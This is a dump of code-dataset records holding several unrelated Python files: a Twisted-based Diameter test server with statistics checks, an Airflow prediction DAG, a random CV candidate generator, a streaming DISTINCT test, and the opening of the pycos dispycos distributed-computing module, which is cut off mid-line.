METHOD send_request()\n\n def check_results(self):\n \"\"\"\n A list with the expected results is compared with servers results.\n - Number of messages received.\n - ...\n \"\"\"\n pass\n\n ## END METHOD check_results()\n\n\nclass diameterTwistedServer(diameterServer):\n '''\n This class implements a diameter server using Twisted.\n Twisted operations are wrapped into its methods.\n Find Diameter server code in diameterTwisted.py.\n '''\n\n\n def __init__(self):\n '''\n Constructor\n '''\n #initialize parent class\n diameterServer.__init__(self)\n\n #specific attributes for diameterTwistedServer\n self.twisted_protocol = None #choose one protocol defined at diameterTwisted\n self.nsessions = None\n self.diametercounters = None\n\n #attributes that won't be created from yaml file, when \"start\" method is called\n self.factory = None\n\n ## END METHOD __init__()\n\n def __repr__(self):\n \"\"\"\n Return a string representation of this object, for debugging.\n\n @rtype: str\n \"\"\"\n out = '{diameterTwistedServer'\n for i in (\"ip\", \"port\", \"type\", \"servertype\", \"origin_host\", \\\n \"origin_realm\", \"product_name\", \"timeout\", \"timeout_watchdog\", \"specific_config\", \"twisted_protocol\"):\n out += ' %s=%s' % (i, repr(eval(\"self.\"+i)))\n out += '}'\n\n return out\n ## END METHOD __repr__()\n\n def start(self):\n '''\n This method is used to initialize the server:\n - Open a socket\n - Create a thread to run the server\n - Initialize data when a database is used\n - ...\n '''\n #eval checks protocol defined on TestCase config file exists\n self.factory = DiameterFactory(self.specific_config, protocol=eval(self.twisted_protocol))\n reactor.listenTCP(interface=self.ip, port=self.port, factory=self.factory)\n\n\n ## END METHOD start()\n\n\n def run(self):\n '''\n The server waits for a requests and sends responses.\n It checks received requests are right according to its twisted configuration (ASSERTIONS)\n And sends answers indicated in the FLOW within twisted config\n Injection also starts at the same time, in a different thread\n '''\n reactor.run()\n\n ## END METHOD run()\n\n\n def send_request(self, msg_name, session_id = None, origin_state_id = None):\n '''\n The server sends a request and waits for a response.\n @param msg_name: cmd_type, cmd_ident, i.e.: [\"GX_RAR\", \"GX_RAR_DEFAULT\"]\n @type msg_name: list, length 2\n @param session_id: Session ID To send the message to\n @type session_id: str\n @param origin_state_id: Session ID To send the message to\n @type origin_state_id: str\n '''\n # Use callFromThread instead of callInThread for I/O operation\n reactor.callFromThread(self.factory.triggerMessage, msg_name, session_id, origin_state_id)\n\n ## END METHOD send_request()\n\n\n def stop(self):\n '''\n Method to close the created reactor\n '''\n try:\n reactor.stop()\n except error.ReactorNotRunning:\n #Cannot stop reactor that is not running\n return\n\n ## END METHOD stop()\n\n #def disconnect(self):\n # '''\n # Method to disconnect diameter server\n # '''\n # reactor.disconnectAll()\n #\n ## END METHOD disconnect()\n\n def check_results(self):\n \"\"\"\n A list with the expected results is compared with servers results.\n \"\"\"\n\n assert len(self.factory.active_sessions) == self.nsessions, \\\n \"Expected number of sessions %d, but got %d\" % (self.nsessions, len(self.factory.active_sessions))\n\n i = 0\n for session in self.factory.active_sessions:\n counters_session_i = self.diametercounters[i]\n for counter_j in counters_session_i:\n if counter_j[1] != None:\n cnt = self.factory.getcounter([session[0], counter_j[0], counter_j[1]])\n else:\n cnt = self.factory.getcounter([session[0], counter_j[0]])\n #if no counter has been found, set to 0\n if not cnt:\n cnt = 0\n #check value is right\n assert cnt == counter_j[2], \"Control Session: %s, Command: %s, Message type: %s, \\\n Obtained counter: %s, Expected counter: %s (CCR Message type 1=Initial,2=Update,3=Termination)\"\\\n % (session[0], counter_j[0], counter_j[1], cnt, counter_j[2])\n i += 1\n\n ## END METHOD check_results()\n\n\n def get_stored_commands(self):\n '''\n Get list of commands stored within the server's Factory\n '''\n return self.factory.stored_cmds\n\n ## END METHOD get_stored_commands()\n\n\nclass DiameterTwistedBasedServer(TwistedBasedServer):\n '''\n This class implements a diameter server using Twisted.\n Built over TwistedBasedServer base class.\n Reactor won't block test suite main thread because now\n it's executed in its own thread.\n Find TwistedBasedServer code in twistedServer.py.\n Added in BRANCH-REL_1_1_155_GyGzAlignmentTS.\n '''\n\n def __init__(self, address=None, port=3868):\n '''\n Constructor\n\n By default port is 3868\n '''\n TwistedBasedServer.__init__(self, address, port)\n\n self.factoryClass = DiameterFactory\n\n #specific att for diameterServer (taken from HL config file)\n self.servertype = None\n self.origin_host = None\n self.origin_realm = None\n self.product_name = None\n self.timeout = None\n self.timeout_watchdog = None\n self.specific_config = None\n\n #specific att for diameterServer (taken from Test Case file)\n self.nsessions = None\n self.diametercounters = None\n\n ### END METHOD __init__()\n\n def __repr__(self):\n \"\"\"\n Return a string representation of this object, for debugging.\n @rtype: str\n \"\"\"\n out = '{diameterTwistedServer'\n for i in (\"ip\", \"port\", \"type\", \"servertype\", \"origin_host\", \\\n \"origin_realm\", \"product_name\", \"timeout\", \"timeout_watchdog\",\\\n \"specific_config\", \"twisted_protocol\"):\n out += ' %s=%s' % (i, repr(eval(\"self.\"+i)))\n out += '}'\n\n\n return out\n\n ### END METHOD __repr__()\n\n def start(self):\n \"\"\"\n parameters loaded through YAML configurable\n twisted_protocol att MUST be a Class, not a string\n \"\"\"\n if type(self.twisted_protocol) is str:\n self.twisted_protocol = eval(self.twisted_protocol)\n TwistedBasedServer.start(self)\n\n ### END METHOD start()\n\n def check_results(self, onlinestats = None ):\n \"\"\"\n A list with the expected results is compared with servers results.\n\n This procedure uses the following internal values:\n 1. B{self.nsessions}: integer value with the number of expected existing sessions\n within diameterTwistedSetver.\n\n 2. B{self.diametercounters}: list including the diameterTwistedServer\n counters to check, and their expected values.\n - I{diametercounters[i][j][0]}: expected command code (CCR, CER, ...)\n - I{diametercounters[i][j][1]}: type of message to verify (1, 2, 3, ...)\n - I{diametercounters[i][j][2]}: value of the counter\n - I{i}: number of session\n - I{j}: counter to be checked within this session\n @param onlinestats: DiameterStats object that contains stats that SASN has regarding\n this control server.\n \"\"\"\n\n assert len(self.factory.active_sessions) == self.nsessions, \\\n \"Expected number of sessions %d, but got %d\" % (self.nsessions,\\\n len(self.factory.active_sessions))\n\n i = 0\n for session in self.factory.active_sessions:\n counters_session_i = self.diametercounters[i]\n for counter_j in counters_session_i:\n if counter_j[1] != None:\n cnt = self.factory.getcounter([session[0], counter_j[0], counter_j[1]])\n else:\n cnt = self.factory.getcounter([session[0], counter_j[0]])\n #if no counter has been found, set to 0\n if not cnt:\n cnt = 0\n #check value is right\n assert cnt == counter_j[2], \"Control Session: %s, Command: %s, Message type: %s, \\\n Obtained counter: %s, Expected counter: %s (CCR Message type \\\n 1=Initial,2=Update,3=Termination)\"\\\n % (session[0], counter_j[0], counter_j[1], cnt, counter_j[2])\n i += 1\n\n # End for\n if onlinestats:\n self.__check_onlinestats(onlinestats, self.get_stored_commands())\n #end if\n ## END METHOD check_results()\n\n def get_stored_commands(self):\n '''\n Get list of commands stored within the server's Factory\n '''\n return self.factory.stored_cmds\n\n ## END METHOD get_stored_commands()\n\n def get_total_recv_bytes(self):\n '''\n Returns the total bytes received by the server\n '''\n return self.factory.get_total_recv_bytes()\n\n ## END METHOD get_stored_commands()\n\n def get_total_sent_bytes(self):\n '''\n Returns the total bytes sent by the server\n '''\n return self.factory.get_total_sent_bytes()\n\n ## END METHOD get_stored_commands()\n\n\n\n def __check_onlinestats(self, onlinestats, stored_commands):\n '''\n Analyze commands send/received by simulator and compare with SASN online stats.\n @param onlinestats: DiameterStats that contains stats that SASN has.\n @param stored_commands: Info of every message send/receive by Diameter Simulator.\n '''\n\n # sasn statistics extract\n obtained_values = onlinestats.get_statistics()\n expected_values= {}\n # sim statistics inizialization\n expected_values['TOTAL-ACTIVATED-CTRL-SESSIONS'] = 0\n expected_values['TOTAL-DEACTIVATED-CTRL-SESSIONS'] = 0\n expected_values['CTRL-MESSAGES-SENT'] = 0\n expected_values['CTRL-MESSAGES-RECVD'] = 0\n expected_values['CTRL-MESSAGES-ERROR'] = 0\n expected_values['CCR-MESG-SENT'] = 0\n expected_values['CCA-MESG-RCVD'] = 0\n expected_values['CCA-MESG-ERROR'] = 0\n expected_values['RAR-MESG-RCVD'] = 0\n expected_values['RAA-MESG-SENT'] = 0\n expected_values['RAA-MESG-ERROR'] = 0\n expected_values['AAA-MESG-RCVD'] = 0\n expected_values['AAR-MESG-SENT'] = 0\n expected_values['AAA-MESG-ERROR'] = 0\n expected_values['STA-MESG-RCVD'] = 0\n expected_values['STR-MESG-SENT'] = 0\n expected_values['STA-MESG-ERROR'] = 0\n expected_values['ASR-MESG-RCVD'] = 0\n expected_values['ASA-MESG-SENT'] = 0\n expected_values['ASA-MESG-ERROR'] = 0\n expected_values['QOS-PROF-UPDATE'] = 0\n expected_values['CFE-PROF-UPDATE'] = 0\n expected_values['ACL-PROF-UPDATE'] = 0\n expected_values['CHARGING-CHAR'] = 0\n expected_values['ACL-VALUE'] = 0\n expected_values['CHARGING-PROF-UPDATE'] = 0\n\n ppu_name = \"sasnvm1\"\n\n common_msg_stack = []\n # sim statistics calculation\n for sessionId, diam_cmds in stored_commands.iteritems():\n # Flag to know if a Charging-Rule-Install AVP was found in this session\n aclValueFound = False\n chargingCharFound = False\n qosProfFound = False\n # Flags to realize if some Qos or Cfe prof update AVP changed\n lastCfeProfUpdate = \"\"\n for cmd in diam_cmds:\n\n # TOTAL-ACTIVATED-CTRL-SESSIONS & TOTAL-DEACTIVATED-CTRL-SESSIONS\n if cmd.has_avp('CC-Request-Type') and cmd.has_avp('Result-Code') \\\n and ('INITIAL_REQUEST' in str(cmd.get_first_avp('CC-Request-Type'))) \\\n and (str(cmd.get_first_avp('Result-Code').getData().getData()) == '2001'):\n expected_values['TOTAL-ACTIVATED-CTRL-SESSIONS'] += 1\n # All testcases should close all sessions:\n expected_values['TOTAL-DEACTIVATED-CTRL-SESSIONS'] += 1\n\n # CTRL-MESSAGES-SENT & CTRL-MESSAGES-RECVD & CTRL-MESSAGES-ERROR\n if cmd.name in [\"CCR\", \"GX_CCR\", \"RAA\", \"GX_RAA\", \"RAA\", \"ASA\"]:\n #Total amount of control messages that have been sent, including Diameter base.\n expected_values['CTRL-MESSAGES-SENT'] += 1\n if cmd.name in [\"RAR\", \"ASR\", \"GX_RAR\", \"CCA\", \"GX_CCA\"]:\n if cmd.has_avp('Result-Code') and ('2001' != str(cmd.get_first_avp('Result-Code').getData().getData())):\n #Total amount of control messages that have been received with an error or an error code, including Diameter base\n expected_values['CTRL-MESSAGES-ERROR'] += 1\n #Total amount of control messages that have been received, including Diameter base.\n expected_values['CTRL-MESSAGES-RECVD'] += 1\n # Common messages which are sent either to sasnvm1 or sansvm0\n # TODO: Add to which ppu are the statistics being sent as input parameter\n if cmd.name in [\"DWR\", \"CER\", \"DWA\", \"CEA\"]:\n endToEnd = cmd.getHeader().getEndToEndId()\n # Count only those whatchdogs sent to ppu 1 (sasnvm1)\n if (cmd.name == \"DWR\" or cmd.name == \"CER\") and ppu_name in str(cmd.get_first_avp('Origin-Host')):\n expected_values['CTRL-MESSAGES-SENT'] += 1\n common_msg_stack.append(endToEnd)\n if (cmd.name == \"DWA\" or cmd.name == \"CEA\") and endToEnd in common_msg_stack:\n #watchdog matched by end to end id\n common_msg_stack.remove(endToEnd)\n expected_values['CTRL-MESSAGES-RECVD'] += 1\n\n command = \"\"\n if \"GX_\" in cmd.name:\n command = cmd.name.split('_')[1]\n else:\n command = cmd.name\n # RAR-MESG-RCVD & RAA-MESG-SENT & RAA-MESG-ERROR\n # ASR-MESG-RCVD & ASA-MESG-SENT & ASA-MESG-ERROR\n if command in [\"RAR\", \"ASR\"] :\n expected_values[command +'-MESG-RCVD'] += 1\n if command in [\"RAA\", \"ASA\"] :\n if cmd.has_avp('Result-Code') and (str(cmd.get_first_avp('Result-Code').getData().getData()) != '2001'):\n expected_values[command +'-MESG-ERROR'] += 1\n expected_values[command+'-MESG-SENT'] += 1\n\n # CCR-MESG-SENT & CCA-MESG-RCVD & CCA-MESG-ERROR\n # AAR-MESG-SENT & AAA-MESG-RCVD & AAA-MESG-ERROR\n # STR-MESG-SENT & STA-MESG-RCVD & STA-MESG-ERROR\n if command in [\"CCR\", \"AAR\", \"STR\"] :\n expected_values[command +'-MESG-SENT'] += 1\n if command in [\"CCA\", \"AAA\", \"STA\"] :\n if cmd.has_avp('Result-Code') and (str(cmd.get_first_avp('Result-Code').getData().getData()) != '2001'):\n expected_values[command +'-MESG-ERROR'] += 1\n expected_values[command +'-MESG-RCVD'] += 1\n\n # PCRF PARAMS SENT COUNTERS\n # QOS-PROF-UPDATE & CFE-PROF-UPDATE & ACL-PROF-UPDATE &\n if cmd.name in [\"GX_CCA\", \"GX_RAR\"]:\n if cmd.has_avp('QoS-Profile-Id') and not qosProfFound :\n #If qos-profile-id avp has been updated, increment the counter and store the new value\n expected_values['QOS-PROF-UPDATE'] += 1\n qosProfFound = True\n ##if cmd.has_avp('Charging-Rule-Install'): # It is not clear in what condition this counter should be increased.\n ## expected_values['ACL-PROF-UPDATE'] += 1\n if cmd.has_avp('3GPP-Charging-Characteristics') and not chargingCharFound:\n expected_values['CHARGING-CHAR'] += 1\n chargingCharFound = True\n if cmd.has_avp('Content-Filtering-Profile-Id') and str(cmd.get_first_avp('Content-Filtering-Profile-Id').getData().getData()) not in lastCfeProfUpdate:\n lastCfeProfUpdate = str(cmd.get_first_avp('Content-Filtering-Profile-Id').getData().getData())\n expected_values['CFE-PROF-UPDATE'] += 1\n if cmd.has_avp('Charging-Rule-Install') and not aclValueFound:\n expected_values['ACL-VALUE'] += 1\n aclValueFound = True\n if cmd.has_avp('Charging-Profile-Id'):\n expected_values['CHARGING-PROF-UPDATE'] += 1\n #End If\n # End for\n # End for\n\n\n # statistic validation\n fail = 0\n logging.getLogger(\"NSTlogger\").info(\"Auto checking %s statistics begin\" %obtained_values['NAME'])\n for key, value in expected_values.iteritems():\n # Add tolerance range, as watchdogs are counted in these statistics\n if key in [\"CTRL-MESSAGES-SENT\", \"CTRL-MESSAGES-RECVD\"]:\n if (value < int(obtained_values[key])-1) or (value > int(obtained_values[key])+1):\n logging.getLogger(\"NSTlogger\").error(\"%s check fail in %s - Server: %s SASN: (%s-%s)\" \\\n %(obtained_values['NAME'], key, value, int(obtained_values[key])-1, int(obtained_values[key])+1))\n fail += 1\n else:\n if (value != int(obtained_values[key])):\n logging.getLogger(\"NSTlogger\").error(\"%s check fail in %s - Server: %s, SASN: %s\" \\\n %(obtained_values['NAME'], key, value, obtained_values[key]))\n fail += 1\n #End for\n\n # Check if any field did not match with expected ones\n if fail != 0:\n #logging.getLogger(\"NSTlogger\").error(\"%s statistic check failed in %s field(s)\" %(obtained_values['NAME'], fail))\n raise Exception(\"%s statistic check failed in %s field(s)\" %(obtained_values['NAME'], fail))\n else:\n logging.getLogger(\"NSTlogger\").debug(\"Server SIM statistics: %s\" %expected_values)\n logging.getLogger(\"NSTlogger\").info(\"Auto checking %s statistics OK!\" %obtained_values['NAME'])\n ## END METHOD autocheck_onlinestats\n","sub_path":"sds/back_test/ref/diameterServers.py","file_name":"diameterServers.py","file_ext":"py","file_size_in_byte":22480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"477132453","text":"import pathlib\r\nfrom datetime import timedelta\r\nfrom airflow import DAG\r\nfrom airflow.operators.python import PythonOperator\r\nimport pandas as pd\r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.pipeline import Pipeline\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nfrom sklearn.preprocessing import StandardScaler\r\nimport pickle\r\nfrom airflow.models import Variable\r\nfrom sklearn.metrics import accuracy_score, f1_score, roc_auc_score\r\nimport json\r\nfrom airflow.utils.dates import days_ago\r\n\r\n\r\ndef _preprocess_data():\r\n data_df = pd.read_csv(\"/opt/airflow/data/raw/{{ ds }}/data.csv\")\r\n target_df = pd.read_csv(\"/opt/airflow/data/raw/{{ ds }}/target.csv\")\r\n\r\n print(f\"data before transform: {data_df}\")\r\n data_df.drop(columns=[\"fbs\"], inplace=True)\r\n transformer = ColumnTransformer(\r\n [\r\n (\r\n 'num',\r\n Pipeline([('scaler', StandardScaler())]),\r\n [\"age\", \"trestbps\", \"chol\", \"thalach\", \"oldpeak\"],\r\n ),\r\n (\r\n 'cat',\r\n Pipeline([('onehot', OneHotEncoder(handle_unknown='ignore'))]),\r\n [\"sex\", \"cp\", \"restecg\", \"exang\", \"slope\", \"ca\", \"thal\"],\r\n ),\r\n ]\r\n )\r\n transformer.fit_transform(data_df)\r\n\r\n data_df[\"target\"] = target_df\r\n print(f\"data after transform: {data_df}\")\r\n\r\n pathlib.Path(\"/opt/airflow/data/processed/{{ ds }}\").mkdir(parents=True, exist_ok=True)\r\n\r\n processed_path = \"/opt/airflow/data/processed/{{ ds }}/data.csv\"\r\n print(f\"saving processed data to {processed_path}\")\r\n data_df.to_csv(processed_path, index=False)\r\n\r\n\r\ndef _predict_model():\r\n data = pd.read_csv(\"/opt/airflow/data/processed/{{ ds }}/data.csv\")\r\n target = data[\"target\"]\r\n data.drop(columns=[\"target\"], inplace=True)\r\n dag_config = Variable.get(\"variables_config\", deserialize_json=True)\r\n model_path = dag_config[\"model_path\"]\r\n model = pickle.load(open(model_path, \"rb\"))\r\n predicts = model.predict(data)\r\n\r\n pathlib.Path(\"/opt/airflow/data/predictions/{{ ds }}\").mkdir(parents=True, exist_ok=True)\r\n pd.DataFrame(predicts, columns=['predictions']).to_csv(\"/opt/airflow/data/predictions/{{ ds }}/predictions.csv\", index=None, mode='w')\r\n\r\n\r\nwith DAG(\r\n dag_id=\"predict\",\r\n description=\"This DAG predicts on synthetic data using Airflow variables (model_path)\",\r\n start_date=days_ago(0),\r\n schedule_interval=timedelta(days=1),\r\n) as dag:\r\n preprocess_data = PythonOperator(\r\n task_id=\"data_preprocessing\",\r\n python_callable=_preprocess_data,\r\n dag=dag,\r\n )\r\n predict_model = PythonOperator(\r\n task_id=\"predict_model\",\r\n python_callable=_predict_model,\r\n dag=dag\r\n )\r\n preprocess_data >> predict_model\r\n","sub_path":"airflow_ml_dags/dags/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"563365374","text":"###################################\n## ##\n## Candidate Generator ##\n## ##\n###################################\n\n## This is the first step in our CV generation process. This file randomly\n## generates the candidate, who gets exported as a json object to the \"data\"\n## directory.\n##\n## Note! If you get a PermissionError, just run as sudo.\n\nimport argparse # we're going to use argparse to get our flags from the command line.\nimport json # we're going to save our generated data as a JSON object.\nimport random # sweet, sweet randomness\nimport names, research, education, employment, publications, presentations, teaching\n # Had to move a bunch of stuff to separate modules, cause it was getting\n # confusing and the namespace was starting to get a little crowded.\n\n# This stuff should probably move to __main__ below.\n#random.seed() # This sets our random seed, so that our randomly generated info\n # is reproducible. Do I need to pass the seed to the\n # functions below too, or can I just set it here once?\ncurrentYear = 2018 # This gets passed to the education method below.\n\nclass Candidate:\n \"\"\"\n The big class that will do all our work, essentially.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n All the action is going to happen in the __init__ method. Basically,\n __init__ is just going to keep calling functions and methods to\n randomly generate all the candidate's attributes.\n \"\"\"\n\n self.race = self.generateRace()\n self.gender = self.generateGender()\n self.name = names.generateName(self.race, self.gender) # A candidate's name is a function of race and gender.\n self.aos = research.generateArea(1) # These are lists, pass the number you want.\n self.aoc = research.generateArea(2) # ditto.\n self.education = education.generateEducation(currentYear)\n self.employment = employment.generateEmployment(currentYear)\n self.publications = publications.generatePublications(1,5,3) # books/papers/chapters\n self.presentations = presentations.generatePresentations(2,2,2) # apa/pro/grad\n self.teaching = teaching.generateTeaching(3,2,1) # intro/majors/grad\n\n def generateRace(self):\n \"\"\"\n This function automatically assigns the candidate a random race, which is\n a string.\n \"\"\"\n races = ['asian', 'black', 'white',] # The list of races.\n i = random.randint(0,len(races)-1) # grab a random index\n race = races[i] # grab the race at that index.\n return race\n\n def generateGender(self):\n \"\"\"\n This method randomly assigns the candidate a gender, which is a string.\n \"\"\"\n genders = ['female','male'] # same as above.\n i = random.randint(0,len(genders)-1)\n gender = genders[i]\n return gender\n\n def makeData(self):\n \"\"\"\n This function just turns the object into a dictionary.\n \"\"\"\n\n data = {\n \"name\": self.name,\n \"race\": self.race,\n \"gender\": self.gender ,\n \"employment\": self.employment,\n \"aos\": self.aos,\n \"aoc\": self.aoc,\n \"education\": self.education,\n \"publications\": self.publications,\n \"presentations\": self.presentations,\n \"teaching\": self.teaching,\n }\n return data\n\ndef main(args):\n \"\"\"\n Our main function is just gonna take the arguments from argparse and\n spit out some JSON.\n \"\"\"\n candidate = Candidate()\n # If we want to start letting the user set flags, we'd feed those to our\n # candidate class right here.\n data = candidate.makeData()\n with open('./data/' + args.filename + '.json','w') as outfile:\n json.dump(data, outfile)\n\nif __name__ == '__main__':\n \"\"\"\n This is where we parse our commandline args and pass them to the main function.\n \"\"\"\n parser = argparse.ArgumentParser(description='Randomly generate a CV!')\n parser.add_argument('filename',help='Enter a file name so cangen will know what to call the files it generates: data/.json')\n args = parser.parse_args()\n\n main(args)\n","sub_path":"cangen.py","file_name":"cangen.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"552120704","text":"from base import octopus, clean_db\nfrom collections import defaultdict\nimport random\n\n\ndef test_distinct(octopus, clean_db):\n \"\"\"\n Verify that streaming SELECT DISTINCT ON (...) works\n \"\"\"\n octopus.create_stream('stream0', x='int', y='int', z='int')\n octopus.create_table('table0', x='int', y='int', z='int')\n q = 'SELECT DISTINCT ON (x::int, y::int - z::int) x::int, y::int FROM stream0'\n octopus.create_cv('test_distinct', q)\n\n uniques = defaultdict(set)\n values = []\n for _ in xrange(2000):\n x, y, z = random.randint(0, 20), random.randint(0, 20), random.randint(0, 20)\n values.append((x, y, z))\n uniques[(x, y - z)].add(y)\n\n octopus.insert('stream0', ['x', 'y', 'z'], values)\n octopus.insert('table0', ['x', 'y', 'z'], values)\n\n q = \"\"\"\n SELECT DISTINCT ON (x::int, y::int - z::int) x::int, y::int FROM table0\n \"\"\"\n expected = list(octopus.execute(q))\n expected = len(expected)\n\n assert expected < 2000\n\n result = octopus.execute('SELECT COUNT(*) FROM test_distinct').first()\n\n assert expected == result['count']\n\n # Check if the first row was selected for uniques\n result = octopus.execute('SELECT * FROM test_distinct')\n reverse_uniques = defaultdict(set)\n\n for (x, _), ys in uniques.iteritems():\n for y in ys:\n reverse_uniques[y].add(x)\n\n for row in result:\n assert row['x'] in reverse_uniques[row['y']]\n","sub_path":"src/test/py/test_distinct.py","file_name":"test_distinct.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"152743415","text":"#!/usr/bin/python3\n\n\"\"\"\nThis file is part of pycos; see https://pycos.org for details.\n\nThis module provides API for creating distributed communicating\nprocesses. 'Client' class should be used to package client components\n(Python generator functions, Python functions, files, classes, modules) and then\nschedule runs that create remote tasks at remote server processes running\n'dispycosnode.py'.\n\nSee 'dispycos_client*.py' files in 'examples' directory for various use cases.\n\"\"\"\n\nimport os\nimport sys\nimport inspect\nimport hashlib\nimport time\nimport shutil\nimport operator\nimport functools\nimport re\nimport copy\nimport stat\n\nimport pycos\nimport pycos.netpycos\nimport pycos.config\nfrom pycos import Task, SysTask, logger, Location, MonitorStatus\n\n__author__ = \"Giridhar Pemmasani (pgiri@yahoo.com)\"\n__copyright__ = \"Copyright (c) 2014-2015 Giridhar Pemmasani\"\n__license__ = \"Apache 2.0\"\n__url__ = \"https://pycos.org\"\n\n__all__ = ['Scheduler', 'Client', 'Computation', 'DispycosStatus', 'DispycosTaskInfo',\n 'DispycosNodeInfo', 'DispycosNodeAvailInfo', 'DispycosNodeAllocate']\n\nMsgTimeout = pycos.config.MsgTimeout\nMinPulseInterval = pycos.config.MinPulseInterval\nMaxPulseInterval = pycos.config.MaxPulseInterval\nlogger.name = 'dispycos'\n# PyPI / pip packaging adjusts assertion below for Python 3.7+\nassert sys.version_info.major == 3 and sys.version_info.minor < 7, \\\n ('\"%s\" is not suitable for Python version %s.%s; use file installed by pip instead' %\n (__file__, sys.version_info.major, sys.version_info.minor))\n\n\nclass DispycosStatus(object):\n \"\"\"Status messages from scheduler are indicated with this structure. 'status' is one of the\n constants defined in 'Scheduler' below, such as NodeInitialized, ServerClosed, TaskStarted\n etc. 'info' is information structure that varies depending on 'status'; e.g., if 'status' is\n NodeDiscovered, it would be DispycosNodeAvailInfo etc.\n \"\"\"\n def __init__(self, status, info):\n self.status = status\n self.info = info\n\n\nclass DispycosTaskInfo(object):\n \"\"\"When a task is created at remote dispycos server, this structure is given as 'info'\n attribute of DispycosStatus message.\n \"\"\"\n def __init__(self, task, args, kwargs):\n self.task = task\n self.args = args\n self.kwargs = kwargs\n self.start_time = time.time()\n\n\nclass DispycosNodeAvailInfo(object):\n \"\"\"Node availability status is indicated with this class. 'cpu' is\n available CPU in percent in the range 0 to 100. 0 indicates node is busy\n executing tasks on all CPUs and 100 indicates node is not busy at all.\n \"\"\"\n def __init__(self, location, cpu, memory, disk, swap):\n self.location = location\n self.cpu = cpu\n self.memory = memory\n self.disk = disk\n self.swap = swap\n\n\nclass DispycosNodeInfo(object):\n \"\"\"When there is a change in node status (e.g., NodeDiscovered, NodeInitialize etc.),\n DispycosStatus message with 'info' attribute is set to this structure.\n \"\"\"\n def __init__(self, name, addr, cpus, platform, avail_info):\n self.name = name\n self.addr = addr\n self.cpus = cpus\n self.platform = platform\n # avail_info is an instance of DisycosNodeAvailInfo if psutil is available on node;\n # otherwise it is None\n self.avail_info = avail_info\n\n\nclass DispycosNodeAllocate(object):\n \"\"\"Allocation of nodes can be customized by specifying 'nodes' of Client\n with DispycosNodeAllocate instances.\n\n 'node' must be hostname or IP address (with possibly '*' to match rest of IP\n address), 'port must be TCP port used by node (only if 'node' doesn't have\n '*'), 'cpus', if given, must be number of servers running on that node if\n positive, or number of CPUs not to use if negative, 'memory' is minimum\n available memory in bytes, 'disk' is minimum available disk space (on the\n partition where dispycosnode servers are running from), and 'platform' is\n regular expression to match output of\"platform.platform()\" on that node,\n e.g., \"Linux.*x86_64\" to accept only nodes that run 64-bit Linux.\n \"\"\"\n\n def __init__(self, node, port=None, platform='', cpus=None, memory=None, disk=None):\n if node.find('*') < 0:\n self.ip_rex = pycos.Pycos.host_ipaddr(node)\n else:\n self.ip_rex = node\n\n if self.ip_rex:\n self.ip_rex = self.ip_rex.replace('.', '\\\\.').replace('*', '.*')\n else:\n logger.warning('node \"%s\" is invalid', node)\n self.ip_rex = ''\n\n self.port = port\n self.platform = platform.lower()\n self.cpus = cpus\n self.memory = memory\n self.disk = disk\n\n def allocate(self, ip_addr, name, platform, cpus, memory, disk):\n \"\"\"When a node is found, scheduler calls this method with IP address, name,\n CPUs, memory and disk available on that node. This method should return\n a number indicating number of CPUs to use. If return value is 0, the\n node is not used; if the return value is < 0, this allocation is ignored\n (next allocation in the 'nodes' list, if any, is applied).\n \"\"\"\n if (self.platform and not re.search(self.platform, platform)):\n return -1\n if ((self.memory and memory and self.memory > memory) or\n (self.disk and disk and self.disk > disk)):\n return 0\n if not isinstance(self.cpus, int):\n return cpus\n if self.cpus == 0:\n return 0\n elif self.cpus > 0:\n if self.cpus > cpus:\n return 0\n return self.cpus\n else:\n cpus += self.cpus\n if cpus < 0:\n return 0\n return cpus\n\n def __getstate__(self):\n state = {}\n for attr in ['ip_rex', 'port', 'platform', 'cpus', 'memory', 'disk']:\n state[attr] = getattr(self, attr)\n return state\n\n\nclass Client(object):\n \"\"\"Packages components to distribute to remote pycos schedulers to create\n (remote) tasks.\n \"\"\"\n\n def __init__(self, components, nodes=[], status_task=None, node_setup=None, server_setup=None,\n disable_nodes=False, disable_servers=False,\n pulse_interval=(5*MinPulseInterval), node_allocations=[],\n ping_interval=None, restart_servers=False,\n zombie_period=None, abandon_zombie_nodes=False):\n \"\"\"'components' should be a list, each element of which is either a\n module, a (generator or normal) function, path name of a file, a class\n or an object (in which case the code for its class is sent).\n\n 'pulse_interval' is interval (number of seconds) used for heart beat\n messages to check if client / scheduler / server is alive. If the other\n side doesn't reply to 5 heart beat messages, it is treated as dead.\n \"\"\"\n\n if pulse_interval < MinPulseInterval or pulse_interval > MaxPulseInterval:\n raise Exception('\"pulse_interval\" must be at least %s and at most %s' %\n (MinPulseInterval, MaxPulseInterval))\n if ping_interval and ping_interval < pulse_interval:\n raise Exception('\"ping_interval\" must be at least %s' % (pulse_interval))\n if not isinstance(nodes, list):\n raise Exception('\"nodes\" must be list of strings or DispycosNodeAllocate instances')\n if node_allocations:\n logger.warning(' WARNING: \"node_allocations\" is deprecated; use \"nodes\" instead')\n if not isinstance(node_allocations, list):\n raise Exception('\"node_allocations\" must be list of DispycosNodeAllocate instances')\n nodes.extend(node_allocations)\n if any(not isinstance(_, (DispycosNodeAllocate, str)) for _ in nodes):\n raise Exception('\"nodes\" must be list of strings or DispycosNodeAllocate instances')\n if status_task and not isinstance(status_task, Task):\n raise Exception('status_task must be Task instance')\n if node_setup and not inspect.isgeneratorfunction(node_setup):\n raise Exception('\"node_setup\" must be a task (generator) function')\n if server_setup and not inspect.isgeneratorfunction(server_setup):\n raise Exception('\"server_setup\" must be a task (generator) function')\n if (disable_nodes or disable_servers) and not status_task:\n raise Exception('status_task must be given when nodes or servers are disabled')\n if zombie_period:\n if zombie_period < 5*pulse_interval:\n raise Exception('\"zombie_period\" must be at least 5*pulse_interval')\n elif zombie_period is None:\n zombie_period = 10*pulse_interval\n\n if not isinstance(components, list):\n components = [components]\n\n self._code = ''\n self._xfer_files = []\n self._auth = None\n self.__xfer_funcs = set()\n self.__scheduler = None\n self._pulse_task = None\n if zombie_period:\n self._pulse_interval = min(pulse_interval, 